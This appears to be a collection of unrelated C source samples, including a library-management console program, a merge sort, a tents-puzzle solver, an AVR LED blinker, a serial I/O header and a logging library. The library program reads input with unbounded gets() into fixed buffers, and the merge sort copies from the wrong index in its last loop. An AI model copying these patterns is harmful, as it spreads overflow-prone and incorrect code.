/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* get_next_line.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: llalba <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/30 12:21:33 by llalba #+# #+# */ /* Updated: 2021/07/30 13:46:03 by llalba ### ########.fr */ /* */ /* ************************************************************************** */ #include "../includes/get_next_line.h" static char *ft_calloc(int len) { char *str; int i; i = 0; str = (char *)malloc(sizeof(char) * len); if (!str) return (0); while (i < len) { str[i] = '\0'; i++; } return (str); } static int ft_strlen(char *str) { int i; i = 0; while (str && str[i]) i++; return (i); } static short update_output(char **output, char c) { char *tmp; int i; i = 0; tmp = *output; *output = ft_calloc(ft_strlen(*output) + 2); if (!(*output)) return (0); while (tmp[i]) { (*output)[i] = tmp[i]; i++; } (*output)[i] = c; free(tmp); return (1); } int get_next_line(char **line) { int ret; char c; char *output; output = ft_calloc(1); ret = read(0, &c, 1); while (ret > 0 && c != '\n') { if (!update_output(&output, c)) return (-1); ret = read(0, &c, 1); } if (ret == -1) return (-1); *line = output; if (ret == 1) return (1); return (0); }
C
#include <stdio.h> #include <stdlib.h> #include<string.h> #include<time.h> FILE *fptr,*fmem,*fborrow; struct book { char tittle [128]; char auth[128]; char publisher[128]; char isbn[128]; char date[128]; int copies; //constant int copiesAvailable; char category[128]; int countborrowing; }; struct address { char building[8]; char street[24]; char city[16]; }; struct member { char first[16]; char last[16]; int id; struct address adr; int phoneNumber; int age; char email[64]; }; struct time { int day; int month; int year ; }; struct borrowing { char isbnb[128]; int idb; struct time borrowing; struct time dueDate; struct time returning; }; typedef struct book books; typedef struct member members; typedef struct borrowing borrow; borrow brr[100]; books b[100]; members m[100]; int n=0; int n2=0; int n_borrow=0; //Function to count number of lines int linecount(FILE *pt) { int x=0; char c; fscanf(pt,"%c",&c); while(!feof(pt)) { if(c=='\n') x++; fscanf(pt,"%c",&c); } rewind(pt); return x; } //Function to load book data into array int loadBooks() { fptr=fopen("Book.txt","r"); if (fptr!=NULL) { int x=linecount(fptr); while(n!=x) { fscanf(fptr,"%[^,],%[^,],%[^,],%[^,],%[^,],%d,%d,%[^,],%d\n",b[n].tittle,b[n].auth,b[n].publisher,b[n].isbn,b[n].date,&b[n].copies,&b[n].copiesAvailable,b[n].category,&b[n].countborrowing); n++; } fclose(fptr); } else { printf("FILE IS EMPTY "); return 0; } return n; } //Function to load members from file to array int loadMembers() { fmem=fopen("members.txt","r"); if(fmem!=NULL) { int x=linecount(fmem); while (n2!=x) { fscanf(fmem,"%[^,],%[^,],%d,%[^,],%[^,],%[^,],%d,%d,%s",m[n2].first,m[n2].last,&m[n2].id,m[n2].adr.building,m[n2].adr.street,m[n2].adr.city,&m[n2].phoneNumber,&m[n2].age,m[n2].email); fscanf(fmem,"\n"); n2++; } fclose(fmem); } else { printf(" The File Is Empty"); return 0 ; } return n2; } //Function to load borrowed data from file to array int loadBorrow() { fborrow=fopen("borrowing.txt","r"); if(fborrow!=NULL) { int x=linecount(fborrow); while (n_borrow!=x) { fscanf(fborrow,"%[^,],%d,%d/%d/%d,%d/%d/%d,%d/%d/%d",brr[n_borrow].isbnb,&brr[n_borrow].idb,&brr[n_borrow].borrowing.day,&brr[n_borrow].borrowing.month,&brr[n_borrow].borrowing.year,&brr[n_borrow].dueDate.day,&brr[n_borrow].dueDate.month,&brr[n_borrow].dueDate.year,&brr[n_borrow].returning.day,&brr[n_borrow].returning.month,&brr[n_borrow].returning.year); fscanf(fborrow,"\n"); n_borrow++; } fclose(fborrow); } else perror("Can't open file"); return n_borrow; } //Function to add a new member void addMembers () { int count,id,flag=0; fflush(stdin); //to cancel any input entered before printf("Please Enter First Name: "); gets_without_newline(m[n2].first); printf("Please Enter Last Name: "); gets_without_newline(m[n2].last); //check if id already exists do {flag=0; printf("Please Enter Member Id: "); scanf("%d",&id); for (count=0; count<n2; count++) { if(id==m[count].id) { flag=1; break; } } } while(flag); m[n2].id=id; fflush(stdin); printf("Please Enter building: "); gets_without_newline(m[n2].adr.building); printf("Please Enter street :"); gets_without_newline(m[n2].adr.street); printf("Please Enter city:"); gets_without_newline(m[n2].adr.city); printf("Please Enter phone number: "); scanf("%d",&m[n2].phoneNumber); printf("Please Enter age: "); scanf("%d",&m[n2].age); fflush(stdin); printf("Please Enter Email Address: "); gets_without_newline(m[n2].email); n2++; } //Function to save books data into file void saveBooks() { fptr=fopen("Book.txt","w"); int i; for (i=0; i<n; i++) { fprintf(fptr,"%s,%s,%s,%s,%s,%d,%d,%s,%d",b[i].tittle,b[i].auth,b[i].publisher,b[i].isbn,b[i].date,b[i].copies,b[i].copiesAvailable,b[i].category,b[i].countborrowing); fprintf(fptr,"\n"); } fclose(fptr); } //Function to save members data into file void saveMembers() { fmem=fopen("members.txt","w"); int i; for(i=0; i<n2; i++) { fprintf(fmem,"%s,%s,%d,%s,%s,%s,%d,%d,%s",m[i].first,m[i].last,m[i].id,m[i].adr.building,m[i].adr.street,m[i].adr.city,m[i].phoneNumber,m[i].age,m[i].email); fprintf(fmem,"\n"); } fclose(fmem); } //Function to save borrowing data into file void saveBorrows() { fborrow=fopen("borrowing.txt","w"); int i; for(i=0; i<n_borrow; i++) { fprintf(fborrow,"%s,%d,%d/%d/%d,%d/%d/%d,%d/%d/%d",brr[i].isbnb,brr[i].idb,brr[i].borrowing.day,brr[i].borrowing.month,brr[i].borrowing.year,brr[i].dueDate.day,brr[i].dueDate.month,brr[i].dueDate.year,brr[i].returning.day,brr[i].returning.month,brr[i].returning.year); fprintf(fborrow,"\n"); } fclose(fborrow); } //Function to add new book into system void add_new_book() { printf("Book tittle :"); fflush(stdin); gets_without_newline(b[n].tittle); printf("Author : "); gets_without_newline(b[n].auth); printf("Publisher : "); gets_without_newline(b[n].publisher); //check if isbn is repeated char isbn[128]; int i,flag; do { flag=0; printf("ISBN : "); gets(isbn); for(i=0; i<n; i++) { if(strcmp(b[i].isbn,isbn)==0) { printf("another one :"); flag=1; } else flag=0; } } while(flag); strcpy(b[n].isbn,isbn); printf("Date of Publishing :"); gets_without_newline(b[n].date); printf("Copies : "); scanf("%d",&b[n].copies); printf("Copies available: "); scanf("%d",&b[n].copiesAvailable); fflush(stdin); printf("Category : "); gets_without_newline(b[n].category); n++; } //Function to search for book in the array by title void search_by_tittle() { char search[50]; books temp[100]; printf("Please enter book title : "); gets(search); strlwr(search); int i; for(i=0; i<n; i++) { strcpy(temp[i].tittle,b[i].tittle); strlwr(temp[i].tittle); if(strstr(temp[i].tittle,search)) { printf(" book title: %s ,author : %s isbn: %s category: %s \n",b[i].tittle,b[i].auth,b[i].isbn,b[i].category); } } } //Function to search for book in the array by author void search_by_author() { char search[50]; books temp[100]; printf("Please enter author name : "); gets(search); strlwr(search); int i; for(i=0; i<n; i++) { strcpy(temp[i].auth,b[i].auth); strlwr(temp[i].auth); if(strstr(temp[i].auth,search)) { printf(" book: title: %s ,author : %s isbn: %s category: %s \n",b[i].tittle,b[i].auth,b[i].isbn,b[i].category); } } } //Function to search for book in the array by category void search_by_category() { char search[50]; books temp[100]; printf("Please enter category : "); gets(search); strlwr(search); int i; for(i=0; i<n; i++) { strcpy(temp[i].category,b[i].category); strlwr(temp[i].category); if(strstr(temp[i].category,search)) { printf(" book: title: %s ,author : %s isbn: %s category: %s \n",b[i].tittle,b[i].auth,b[i].isbn,b[i].category); } } } //Function to search for book in the array by isbn void search_by_isbn() { int index=getIsbn(); printf(" book: title: %s ,auth : %s isbn: %s category: %s \n",b[index].tittle,b[index].auth,b[index].isbn,b[index].category); } //Funcction that controls the search for books in general void ultimate_search() { int option; printf("enter number of the option you desire: \n"); printf("[1] BY BOOK TITLE\n[2] BY AUTHOR NAME\n[3] BY CATEGORY\n[4] BY ISBN\n"); scanf("%d",&option); fflush(stdin); //different options for search switch(option) { case(1) : search_by_tittle(); break; case(2) : search_by_author(); break; case(3): search_by_category(); break; case(4) : search_by_isbn(); break; } } //function to search for ISBN from books and get its index int getIsbn() { int i; char isbns[20]; printf("\nPlease enter book isbn : "); scanf("%s",isbns); for(i=0; i<n; i++) { int result=strcmp (isbns,b[i].isbn); if(result==0) { break; } } return i; } //function to search for ISBN from borrowed books and get its index int getIsbnb() { int i; char isbns[20]; printf("Please enter isbn of the book : "); scanf("%s",isbns); for(i=0; i<n_borrow; i++) { int result=strcmp(isbns,brr[i].isbnb); if(result==0) { break; } } return i; } //funtion to change existing number of copies void changeCopy() { int index=getIsbn(); int add; printf("Enter new number of copies :"); scanf("%d",&add); b[index].copiesAvailable+=add; b[index].copies+=add; } //function to delete a book from the array of books void deletebook(int k) { int i=k; while(i<(n-1)) { b[i]=b[i+1]; i++; } n=n-1; } //function to compare today's date with the entered date int compare_dates(struct time date2) { time_t t; t=time(NULL); struct tm* tm=localtime(&t); if(tm->tm_year+1900>date2.year ||tm->tm_year+1900==date2.year&&tm->tm_mon+1>date2.month ||tm->tm_year+1900==date2.year&&tm->tm_mon+1==date2.month&&tm->tm_mday>date2.day) return 1; else return -1; } //function that controls borrowing void borrowing() { int j,flag=0; int y,i,counter=0; time_t t; t=time(NULL); struct tm*tm=localtime(&t); y=getIsbn(); strcpy(brr[n_borrow].isbnb,b[y].isbn); printf("Please enter member ID: "); scanf("%d",&brr[n_borrow].idb); //check if member exists for(j=0; j<n2; j++) { if(brr[n_borrow].idb==m[j].id) flag=1; } if(flag==0) { printf(" member doesnot exist\n"); } else { //we have to count if the user has already borrowed 3 books for(i=0; i<n_borrow; i++) { if (brr[n_borrow].idb==brr[i].idb) counter++; } // if member has already borrowed 3 books he can't borrow others if(counter==3||counter>3&&brr[i].returning.day==0) printf(" you cannot borrow another book\n"); else { if(b[y].copiesAvailable==0) { printf("No copies available for borrowing from this book\n"); } else { brr[n_borrow].borrowing.day=tm->tm_mday; brr[n_borrow].borrowing.month=tm->tm_mon+1; brr[n_borrow].borrowing.year=tm->tm_year+1900; b[y].copiesAvailable--; b[y].countborrowing++; t+=7*24*60*60; tm=localtime(&t); brr[n_borrow].dueDate.day=tm->tm_mday; brr[n_borrow].dueDate.month=tm->tm_mon+1; brr[n_borrow].dueDate.year=tm->tm_year+1900; brr[n_borrow].returning.day=0; brr[n_borrow].returning.month=0; brr[n_borrow].returning.year=0; n_borrow++; } } } } //function to return a books and generates today's date into returning date void return_book() { int i,j,z; time_t t=time(NULL); struct tm tm = *localtime(&t); z=getIsbnb(); brr[z].returning.day=tm.tm_mday; brr[z].returning.month=tm.tm_mon+1; brr[z].returning.year=tm.tm_year+1900; int k; for(i=0; i<n; i++) { k=strcmp(brr[z].isbnb,b[i].isbn); if(k==0) b[i].copiesAvailable++; } } //function to remove member void remove_member() { int i,j,k,borrowed=0,search,flag=0; printf("Please enter member ID: "); scanf("%d",&search); for(j=0; j<n_borrow; j++) { if(search==brr[j].idb) { if(brr[j].returning.day==0) { borrowed=1; break; } } } //check if the member has returned all his books if(borrowed==1) { printf("This member has to return all books first\n"); } else { for(k=0; k<n2; k++) { if(search==m[k].id) break; } i=k; while(i < (n2-1)) { m[i]=m[i+1]; i++; } n2=n2-1; } } //function to arrange books descending to get the most famous 5 books void most_famous() { int i,j; books x[100]; books temp[100]; for(i=0; i<n; i++) { strcpy(temp[i].tittle,b[i].tittle); strcpy(temp[i].auth,b[i].auth); strcpy(temp[i].publisher,b[i].publisher); temp[i].copies=b[i].copies; temp[i].copiesAvailable=b[i].copiesAvailable; strcpy(temp[i].category,b[i].category); temp[i].countborrowing=b[i].countborrowing; } for (i=0; i<(n-1); i++) { for(j=0; j<n-i-1; j++) { if(b[j].countborrowing<b[j+1].countborrowing) { temp[j]=b[j]; b[j]=b[j+1]; b[j+1]=temp[j]; } } } printf("most popular books are: \n"); for(i=0; i<5; i++) printf("title: %s , isbn: %s \n",b[i].tittle,b[i].isbn); } //function to get string without adding a new line void gets_without_newline(char* str) { fgets(str,128,stdin); str[strlen(str) - 1] = '\0'; } //function to control if there are any books that haven't been returned after the due date void overdue_books() { int i,result; for(i=0; i<n_borrow; i++) { if(brr[i].returning.day==0) { result=compare_dates(brr[i].dueDate); if(result==1) printf("BOOK WITH ISBN %s IS OVERDUE \n",brr[i].isbnb); } } } //function to display books in the array void DisplayBooks() { int i; printf("BOOKS: \n"); for(i=0; i<n; i++) { printf("%s,%s,%s,%s,%s,%d,%d,%s,%d",b[i].tittle,b[i].auth,b[i].publisher,b[i].isbn,b[i].date,b[i].copies,b[i].copiesAvailable,b[i].category,b[i].countborrowing); printf("\n"); } } //function to display members in the array void DisplayMembers() { int i; printf("MEMBERS: \n"); for(i=0; i<n2; i++) { printf("%s,%s,%d,%s,%s,%s,%d,%d,%s",m[i].first,m[i].last,m[i].id,m[i].adr.building,m[i].adr.street,m[i].adr.city,m[i].phoneNumber,m[i].age,m[i].email); printf("\n"); } } //function to display Borrowing info in the array void DisplayBorrows() { int i; printf("BORROWS: \n"); for(i=0; i<n_borrow; i++) { printf("%s,%d,%d/%d/%d,%d/%d/%d,%d/%d/%d",brr[i].isbnb,brr[i].idb,brr[i].borrowing.day,brr[i].borrowing.month,brr[i].borrowing.year,brr[i].dueDate.day,brr[i].dueDate.month,brr[i].dueDate.year,brr[i].returning.day,brr[i].returning.month,brr[i].returning.year); printf("\n"); } } int main() { loadBooks(); loadMembers(); loadBorrow(); int s; //generating menu while(1) { printf("choose an order from this menu: \n"); printf("_______________________________ \n"); printf("\n[1] BOOK MANAGEMENT \n"); printf("[2] MEMBER MANAGEMENT \n"); printf("[3] BORROW MANAGEMENT \n"); printf("[4] ADMINISTRATIVE ACTIONS \n"); printf("[5] DISPLAY BOOKS\n"); printf("[6] DISPLAY MEMBERS\n"); printf("[7] DISPLAY BORROWS\n"); printf("[8] SAVE\n"); printf("[9] QUIT\n"); scanf("%d",&s); switch(s) { case(1): { printf("\n[1] ADD NEW BOOK\n"); printf("[2] SEARCH FOR A BOOK\n"); printf("[3] DELETE A BOOK\n"); printf("[4] ADD NEW COPIES\n"); int bookOpiton; scanf("%d",&bookOpiton); switch(bookOpiton) { case(1): printf("operation chosen is number 1: \n"); add_new_book(); break; case(2): printf("operation chosen is number 2: \n"); ultimate_search(); break; case(3): printf("operation chosen is number 3: \n"); int k=getIsbn(); deletebook(k); break; case(4): printf("operation chosen is number 4: \n"); changeCopy(); break; } break; } case(2): { printf("\n[1] ADD NEW MEMBER\n"); printf("[2] REMOVE MEMBER\n"); int memberOption; scanf("%d",&memberOption); switch(memberOption) { case(1): addMembers(); break; case(2): remove_member(); break; } break; } case(3): { printf("\n[1] BORROW\n"); printf("[2] RETURN\n"); int borrowOption; scanf("%d",&borrowOption); switch(borrowOption) { case(1): borrowing(); break; case(2): return_book(); break; } break; } case(4): { printf("\n[1] OVERDUE BOOKS\n"); printf("[2] MOST FAMOUS BOOKS\n"); int adminOption; scanf("%d",&adminOption); switch(adminOption) { case(1): overdue_books(); break; case(2): most_famous(); break; } break; } case(5): DisplayBooks(); break; case(6): DisplayMembers(); break; case(7): DisplayBorrows(); break; case(8): saveBooks(); saveMembers(); saveBorrows(); break; case(9): printf("ALL changes you made will be discarded \n if you exit please make sure you save \n enter 1 to confirm 0 to return \n"); int x=0; scanf("%d",&x); if(x==1) { exit(0); } break; } } return 0; }
C
int min(int x, int y) { return (x<y)? x: y; } /** * 版本二:非递归实现的归并排序,自底向上 */ void MergeSort(int *arr, int len) { if (NULL == arr || len <= 0) return; int *tmpArr = malloc(len * sizeof(int)); if (NULL == tmpArr) return; for (int step = 1; step < len; step *= 2) { for (int i = 0; i < len; i += 2*step) { int idx = 0; int lo1 = i; int hi1 = min(i+step, len) -1; int lo2 = i+step; int hi2 = min(i+2*step, len) -1; while (lo1 <= hi1 && lo2 <= hi2) { if (arr[lo1] < arr[lo2]) { tmpArr[idx] = arr[lo1]; lo1 ++; } else { tmpArr[idx] = arr[lo2]; lo2 ++; } idx ++; } while (lo1 <= hi1) { tmpArr[idx] = arr[lo1]; idx ++; lo1 ++; } while (lo2 <= hi2) { tmpArr[idx] = arr[lo1]; idx ++; lo2 ++; } CopyArray(arr, i, hi2, tmpArr); } } free(tmpArr); }
C
#include <stdio.h> #include <stdlib.h> #include "solver.h" #include "readfiles.h" #include "arvores.h" #include "tendas.h" #include "structs.h" /****************************************************************************** * solve_A() * * Arguments: filename - file pointer to write data to. * L - number of lines in the map * C - number of columns in the map * N_arvores - Number of trees in the map * N_tendas_por_coluna - total number of tents according to columns * N_tendas_por_linha - total number of tents according to lines. * * * Returns: (void) * Side-Effects: Solves a problem of var A. * * Description: Evaluates a map according to the restritions of var. A. *****************************************************************************/ void solve_A(char *filename,int L,int C,int N_arvores,int N_tendas_por_coluna,int N_tendas_por_linha){ int result = 0; char variante = 'A'; if(N_tendas_por_linha!=N_tendas_por_coluna){ write_exit_file(filename,L,C,variante,result); return; } if(N_arvores<N_tendas_por_coluna){ write_exit_file(filename,L,C,variante,result); return; } result=1; //é admísivel write_exit_file(filename,L,C,variante,result); } /****************************************************************************** * check_l0co() * * Arguments: l0- coord. l0 * c0 - coord. c0 * L - number of lines in the map * C - number of columns in the map * * * Returns: (int) 1 if l0 and c0 valid (inside the map) -1 otherwise. * Side-Effects: * * Description: Evaluates l0 and c0 coord. *****************************************************************************/ int check_l0co(int l0,int c0,int L,int C){ if(l0>=L || l0<0) return -1; if(c0>=C || c0<0) return -1; return 1; } /****************************************************************************** * solve_B() * * Arguments: file - filename to write data to. * l0 - coord l0 * c0 - coord c0 * linha - vector with the line to which the l0,c0 cell belongs to. * coluna - vector with the colum to which the l0,c0 cell belongs to. * T_adj_tree - Number of adjacent trees to the l0,c0 cell. * T_adj_tenda - Number of adjacent tents to the l0.c0 cell. * T_na_linha_l0 - Number of tents allowed in the l0,c0 cell line. * T_na_coluna_c0 - Number of tents allowed in the l0,c0 cell colum. * comp_linha - Number of tents in the line to which l0,c0 cell belongs. * comp_coluna - Number of tents in the column to which l0,c0 cell belongs. * * Returns: (void) * Side-Effects: writes a solution to a var B problem * * Description: Solvs a var B type problem. *****************************************************************************/ void solve_B(char *filename,int L,int C,int l0,int c0,int *linha,int T_adj_tree,int T_adj_tenda,int *coluna,int comp_linha,int T_na_linha_l0,int comp_coluna,int T_na_coluna_c0){ char variante = 'B'; int result =1; if(linha[c0]==1){ write_exit_file_B(filename,L,C,variante,result,l0,c0); return; } if(T_adj_tree==0){ write_exit_file_B(filename,L,C,variante,result,l0,c0); return; } if(T_adj_tenda!=0){ write_exit_file_B(filename,L,C,variante,result,l0,c0); return; } if(coluna[l0]==2){ if(comp_linha>T_na_linha_l0 || comp_coluna>T_na_coluna_c0){ write_exit_file_B(filename,L,C,variante,result,l0,c0); return; } } if(coluna[l0]!=2){ if(comp_linha+1>T_na_linha_l0 || comp_coluna+1>T_na_coluna_c0){ write_exit_file_B(filename,L,C,variante,result,l0,c0); return; } } result=0; write_exit_file_B(filename,L,C,variante,result,l0,c0); } /****************************************************************************** * solve_C() * * Arguments: filename - file pointer to write data to. * variante - C (because changing code is to much work sometimes) * N_T_L - Number of tents in each line (vector) * N_T_C - Number of tents in each column (vector) * L - number of lines in the map * C - number of columns in the map * map - map structure * * * Returns: (void) * Side-Effects: Solves a problem of var C. * * Description: Evaluates a map according to the restritions of var. C. *****************************************************************************/ void solve_C(char *filename,char variante,int *N_T_L,int *N_T_C,int L,int C,Mapa map){ int result=1; int i,j=0; for(i=0;i<map.N_tendas;i++){ if(check_tendas_adj(map.matriz_map,map.vec_tendas[i].local.L,map.vec_tendas[i].local.C,L,C)==1){ write_exit_file(filename,L,C,variante,result); return; } } for(i=0;i<L;i++){ for(j=0;j<C;j++){ if(map.matriz_map[i][j]==2){ if(check_adj_trees(map.matriz_map,i,j,L,C)==1){ write_exit_file(filename,L,C,variante,result); return; } } } } if(check_tendas_C(map.matriz_map,L,C,N_T_L,N_T_C)==1){ write_exit_file(filename,L,C,variante,result); return; } if(mandatoryalgo(map,L,C)){ write_exit_file(filename,L,C,variante,0); return; } result=0; if(backtrackingalgo(map)){ write_exit_file(filename,L,C,variante,result); return; } result=1; write_exit_file(filename,L,C,variante,result); } /****************************************************************************** * backtrackingalgo() * * Arguments: map - map structure ( with all the map informations) * * * Returns: (bool) * Side-Effects: Returns true if all tents are associated with their tree * and false if there isn't a config which allow for each tent * to have it's own tree. * * Description: Attempts to associate each tent whith a tree *****************************************************************************/ bool backtrackingalgo(Mapa map){ int i=0; int aux; if(alldone(map.vec_tendas,map.N_tendas)){ return true; //all done } aux=findunassoc(map.vec_tendas,map.N_tendas); for(i=0;i<map.N_arvores;i++){ if(check_is_possible(map.vec_tendas[aux],map.vec_arvores[i])){ //O problem está aqui!!!!!!!!!!!!!!!!!!!!!!!!! associa_TA(&map.vec_arvores[i],&map.vec_tendas[aux]); if(backtrackingalgo(map)) return true; deassocia_TA(&map.vec_arvores[i],&map.vec_tendas[aux]); } } return false; } /****************************************************************************** * mandatorylgo() * * Arguments: map - map structure ( with all the map informations) * L - number of lines * C - number o columns * * * Returns: (bool) * Side-Effects: Returns true if all tents are associated with their tree * and false if there there if detects a tent without a tree * associated * * Description: Takes care o "mandatory" tent-tree associatians (eg. tents which * only have 1 tree available for association due to the map config). *****************************************************************************/ bool mandatoryalgo(Mapa map,int L,int C){ int i,j=0; int stop=0; while(stop!=1){ stop=1; for(i=0;i<map.N_tendas;i++){ if(check_adj_trees_number(map.matriz_map,map.vec_tendas[i].local.L,map.vec_tendas[i].local.C,L,C,map)==1){ for(j=0;j<map.N_arvores;j++){ if(check_is_possible(map.vec_tendas[i],map.vec_arvores[j])){ associa_TA(&map.vec_arvores[j],&map.vec_tendas[i]); stop=0; } } } } } if(alldone(map.vec_tendas,map.N_tendas)) return true; return false; }
C
#define F_CPU 8000000UL // 8 MHz #include <avr/io.h> // this contains all the IO port definitions #include <avr/eeprom.h> #include <avr/sleep.h> // definitions for power-down modes #include <avr/pgmspace.h> // definitions or keeping constants in program memory #include <avr/wdt.h> #include <util/delay.h> // Shortcut to insert single, non-optimized-out nop #define NOP __asm__ __volatile__ ("nop") // Tweak this if neccessary to change timing #define DELAY_CNT 11 void delay_ten_us(uint16_t us) { while (us != 0) { for (unsigned char timer=0; timer <= DELAY_CNT; timer++) { NOP; NOP; } NOP; us--; } } /* This function is needed because we only want to drive the LED pins when they are supposed to be low, this means that we make the pins that are supposed to drive leds output and drive them low, while the leds that are off will be configured as inputs with the pull-up turn off. */ void setLED(unsigned char leds) { DDRA = leds; } int main() { PORTA = 0; // LEDS are active low. DDRB = _BV(PB2); char i = 0; char d = 1; while (1) { PORTB &=~ _BV(PB2); PORTB |= _BV(PB2); i += d; if (i >= 8) { i = 7; d = -1; } if (i < 0) { i = 0; d = 1; } setLED(1<<i); //delay_ten_us(10000); delay_ten_us(10); } }
C
/* * libspt - Serial Packet Transfer Library * * Copyright (C) 2017 Patrick Grosse <[email protected]> */ /** * @brief input/output management for serial data streams * @file serial_io.h * @author Patrick Grosse <[email protected]> */ #ifndef LIBSPT_SERIAL_IO_H #define LIBSPT_SERIAL_IO_H #include <pthread.h> #include <data_fifo.h> #ifdef __cplusplus extern "C" { #endif /** * The default cache size for the internal cache */ #define DEFAULT_CACHE_BUFFER_SIZE 2000 /** * The default buffer size for the data output */ #define DEFAULT_PRINT_BUFFER_SIZE 200 /** * The default cache size for a single read */ #define DEFAULT_READ_BUFFER_SIZE 200 /** * Callback for data being received from the serial file descriptor */ typedef void (*serial_io_receive_cb)(const size_t, const char *, void *arg); /** * @brief Context of a serial input/output */ struct serial_io_context { /* user variables */ /** @brief Input file descriptor */ int fd_in; /** @brief Output file descriptor */ int fd_out; /** @brief Size of the cache buffer */ size_t cache_buffer_size; /** @brief Size of the print buffer */ size_t print_buffer_size; /** @brief Size of the read buffer */ size_t read_buffer_size; /* user callback */ /** @brief Callback function */ serial_io_receive_cb data_received; /** @brief Parameter to pass to the function */ void *data_received_arg; /* internal variables */ /** @brief Buffer for outputs */ char *print_buffer; /** @brief Buffer for inputs */ char *read_buffer; /** @brief Thread for reads */ pthread_t event_thread; /** @brief Thread for outputs */ pthread_t print_thread; /** @brief FIFO for the internal cache */ fifo_t *read_fifo; #ifndef NO_LIBEVENT /** @brief The libevent event base for reads */ struct event_base *ebase; /** @brief The libevent event for the input fd */ struct event *readev; #endif }; /** * Initialize a serial_io_context, no resources will be allocated yet * @param sictx The context to initialize * @param fd_in The file descriptor of the input stream * @param fd_out The file descriptor of the output stream */ void serial_io_context_init(struct serial_io_context *sictx, int fd_in, int fd_out); /** * Start the background dispatcher threads after allocating the required resources * @param sictx The context for what the threads should be started * @return 0 on success */ int8_t serial_io_dispatch_start(struct serial_io_context *sictx); /** * Output to the serial output stream * @param sictx The context with the output file descriptor * @param len The length of the data to output * @param data The data buffer * @return 0 on success */ int8_t serial_io_write(struct serial_io_context *sictx, size_t len, const uint8_t *data); /** * Cancel the threads of a serial context * @param sictx The context with the running background threads * @return 0 on success */ int8_t serial_io_dispatch_stop(struct serial_io_context *sictx); #ifdef __cplusplus } #endif #endif //LIBSPT_SERIAL_IO_H
C
/**************************************************************************//** * @file fmmod.c * @brief パス管理機能 *****************************************************************************/ #define _UL_MAIN #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <stdarg.h> #include "ulog.h" static int _UL_IsOutput( UL_DATA *, char * ); /** * * @fn ログファイルオープン処理 * * @brief ログファイルをオープンしファイルポインタを返す。 * * @param ( pcPath ) ログファイルのパス * * @return ファイルポインタ * */ UL_DATA *UL_LogOpen( char *pcPath ) { int iRet; /**< 戻り値参照用 */ char *pcMode; /**< ファイルオープンモード */ FILE *ptFile; /**< ファイルポインタ */ UL_DATA *ptRetValue; /**< 戻り値 */ /*==================================*/ /* ログファイル有無によるモード設定 */ /*==================================*/ pcMode = "a"; iRet = access( pcPath, W_OK ); if( iRet != 0 ) { pcMode = "w"; } /*======================*/ /* ログファイルオープン */ /*======================*/ ptFile = fopen( pcPath, pcMode ); if( ptFile == ( FILE * )NULL ) { ptRetValue = ( UL_DATA * )NULL; goto LABEL_END; } /*==========*/ /* 領域確保 */ /*==========*/ ptRetValue = ( UL_DATA * )malloc( sizeof( UL_DATA ) ); if( ptRetValue == ( UL_DATA * )NULL ) { ptRetValue = ( UL_DATA * )NULL; goto LABEL_END; } ptRetValue->ptFile = ptFile; ptRetValue->pcDeny = ( char * )NULL; g_pcFile = "system"; g_iLine = 0; UL_LogOutput( ptRetValue, "SYS", "*** log start ***" ); LABEL_END: return ptRetValue; } void UL_LogOutput( UL_DATA *ptData, char *pcLevel, char *pcFormat, ... ) { int iRet; /**< 戻り値参照用 */ char cMessage[ 256 ]; /**< ログ出力文字列 */ char cNow[ 64 ]; /**< タイムスタンプ(文字列) */ time_t lNow; /**< タイムスタンプ(time_t型) */ struct tm *ptNow; /**< タイムスタンプ(構造体型) */ FILE *ptFile; /**< ファイルポインタ */ va_list tArgs; /**< 可変引数整形用 */ /*====================*/ /* パラメータチェック */ /*====================*/ if( ptData == ( UL_DATA * )NULL ) { return; } ptFile = ptData->ptFile; if( ptFile == ( FILE * )NULL ) { return; } /*==================*/ /* 出力要否チェック */ /*==================*/ iRet = _UL_IsOutput( ptData, pcLevel ); if( iRet != 1 ) { return; } /*==============*/ /* 現在時刻取得 */ /*==============*/ lNow = time( NULL ); ptNow = localtime( &lNow ); strftime( cNow, sizeof( cNow ), "%Y/%m/%d %H:%M:%S", ptNow ); /*====================*/ /* 出力メッセージ整形 */ /*====================*/ va_start( tArgs, pcFormat ); vsnprintf( cMessage, sizeof( cMessage ), pcFormat, tArgs ); va_end( tArgs ); /*======*/ /* 出力 */ /*======*/ fprintf( ptFile, "[%s] %s [%-16.16s:%4d] %s\n", pcLevel, cNow, g_pcFile, g_iLine, cMessage ); fflush( ptFile ); return; } void UL_LogClose( UL_DATA *ptData ) { FILE *ptFile; /**< ファイルポインタ */ /*====================*/ /* パラメータチェック */ /*====================*/ if( ptData == ( UL_DATA * )NULL ) { return; } ptFile = ptData->ptFile; if( ptFile == ( FILE * )NULL ) { return; } /*======================*/ /* ログファイルクローズ */ /*======================*/ fclose( ptFile ); return; } void UL_SetDeny( UL_DATA *ptData, char *pcLevel ) { char *pcTmp; char cCheckToken[ 32 ]; if( ptData == ( UL_DATA * )NULL ) { return; } sprintf( cCheckToken, "%s,", pcLevel ); if( ptData->pcDeny == ( char * )NULL ) { pcTmp = ( char * )malloc( strlen( cCheckToken ) + 1 ); if( pcTmp == ( char * )NULL ) { return; } ptData->pcDeny = pcTmp; ptData->pcDeny[0] = '\0'; } else { pcTmp = ( char * )realloc( ptData->pcDeny, strlen( ptData->pcDeny ) + strlen( cCheckToken ) + 1 ); if( pcTmp == ( char * )NULL ) { return; } ptData->pcDeny = pcTmp; } strcat( ptData->pcDeny, cCheckToken ); return; } /** * @return 1 : 出力する * @return 0 : 出力しない */ static int _UL_IsOutput( UL_DATA *ptData, char *pcLevel ) { int iRetValue; char *pcRet; char cCheckToken[ 32 ]; if( ptData->pcDeny == ( char * )NULL ) { iRetValue = 1; goto LABEL_END; }; sprintf( cCheckToken, "%s,", pcLevel ); iRetValue = 1; pcRet = strstr( ptData->pcDeny, cCheckToken ); if( pcRet != ( char * )NULL ) { iRetValue = 0; }; LABEL_END: return iRetValue; }
C
